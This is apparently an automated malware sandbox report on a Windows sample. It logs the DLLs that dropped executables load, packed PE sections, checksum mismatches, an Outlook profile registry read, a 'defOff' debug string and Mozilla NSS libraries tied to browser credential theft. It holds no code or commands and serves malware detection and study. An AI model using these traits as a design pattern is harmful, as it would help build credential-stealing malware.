Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013584001\0d957dbf73.exe	Section loaded: mswsock.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1798144 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe

Static PE information: Raw size of loxwmvpm is bigger than: 0x100000 < 0x19cc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2619103776.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: feb3d39b6a.exe, 00000013.00000002.3346267958.0000000005FF2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.1e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loxwmvpm:EW;lrozqijg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loxwmvpm:EW;lrozqijg:EW;.taggant:EW;
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Unpacked PE file: 14.2.JKECGDBFCB.exe.510000.0.unpack :EW;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hjzxticg:EW;ugypvtkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Unpacked PE file: 18.2.2533b4b8c7.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fsoyaldh:EW;uhxnkltw:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Unpacked PE file: 19.2.feb3d39b6a.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcjzlwkt:EW;cwbfsuvm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcjzlwkt:EW;cwbfsuvm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Unpacked PE file: 20.2.815f2a8fe8.exe.bb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loxwmvpm:EW;lrozqijg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loxwmvpm:EW;lrozqijg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Unpacked PE file: 22.2.feb3d39b6a.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcjzlwkt:EW;cwbfsuvm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcjzlwkt:EW;cwbfsuvm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Unpacked PE file: 37.2.815f2a8fe8.exe.bb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;loxwmvpm:EW;lrozqijg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;loxwmvpm:EW;lrozqijg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: feb3d39b6a.exe.17.dr	Static PE information: real checksum: 0x1da749 should be: 0x1d5fe1
Source: 57a07eec2d.exe.17.dr	Static PE information: real checksum: 0x2b1461 should be: 0x2b9d9b
Source: random[1].exe0.17.dr	Static PE information: real checksum: 0x1e92b0 should be: 0x1e67a3
Source: random[2].exe0.17.dr	Static PE information: real checksum: 0x2b1461 should be: 0x2b9d9b
Source: random[1].exe1.17.dr	Static PE information: real checksum: 0x1da749 should be: 0x1d5fe1
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x3284f4 should be: 0x330bf4
Source: 815f2a8fe8.exe.17.dr	Static PE information: real checksum: 0x1bc6e1 should be: 0x1c4b12
Source: random[1].exe.17.dr	Static PE information: real checksum: 0x1bc6e1 should be: 0x1c4b12
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x3284f4 should be: 0x330bf4
Source: JKECGDBFCB.exe.0.dr	Static PE information: real checksum: 0x3284f4 should be: 0x330bf4
Source: file.exe	Static PE information: real checksum: 0x1bc6e1 should be: 0x1c4b12
Source: 2533b4b8c7.exe.17.dr	Static PE information: real checksum: 0x1e92b0 should be: 0x1e67a3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: loxwmvpm
Source: file.exe	Static PE information: section name: lrozqijg
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: hjzxticg
Source: random[1].exe.0.dr	Static PE information: section name: ugypvtkj
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name:
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name: .idata
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name: hjzxticg
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name: ugypvtkj
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: hjzxticg
Source: skotes.exe.14.dr	Static PE information: section name: ugypvtkj
Source: skotes.exe.14.dr	Static PE information: section name: .taggant
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: loxwmvpm
Source: random[1].exe.17.dr	Static PE information: section name: lrozqijg
Source: random[1].exe.17.dr	Static PE information: section name: .taggant
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name:
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name: .idata
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name:
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name: loxwmvpm
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name: lrozqijg
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name: .taggant
Source: random[2].exe0.17.dr	Static PE information: section name:
Source: random[2].exe0.17.dr	Static PE information: section name: .idata
Source: random[2].exe0.17.dr	Static PE information: section name: fnclnjqv
Source: random[2].exe0.17.dr	Static PE information: section name: xutkjozi
Source: random[2].exe0.17.dr	Static PE information: section name: .taggant
Source: 57a07eec2d.exe.17.dr	Static PE information: section name:
Source: 57a07eec2d.exe.17.dr	Static PE information: section name: .idata
Source: 57a07eec2d.exe.17.dr	Static PE information: section name: fnclnjqv
Source: 57a07eec2d.exe.17.dr	Static PE information: section name: xutkjozi
Source: 57a07eec2d.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: fsoyaldh
Source: random[1].exe0.17.dr	Static PE information: section name: uhxnkltw
Source: random[1].exe0.17.dr	Static PE information: section name: .taggant
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name:
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name: .idata
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name:
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name: fsoyaldh
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name: uhxnkltw
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: kcjzlwkt
Source: random[1].exe1.17.dr	Static PE information: section name: cwbfsuvm
Source: random[1].exe1.17.dr	Static PE information: section name: .taggant
Source: feb3d39b6a.exe.17.dr	Static PE information: section name:
Source: feb3d39b6a.exe.17.dr	Static PE information: section name: .idata
Source: feb3d39b6a.exe.17.dr	Static PE information: section name:
Source: feb3d39b6a.exe.17.dr	Static PE information: section name: kcjzlwkt
Source: feb3d39b6a.exe.17.dr	Static PE information: section name: cwbfsuvm
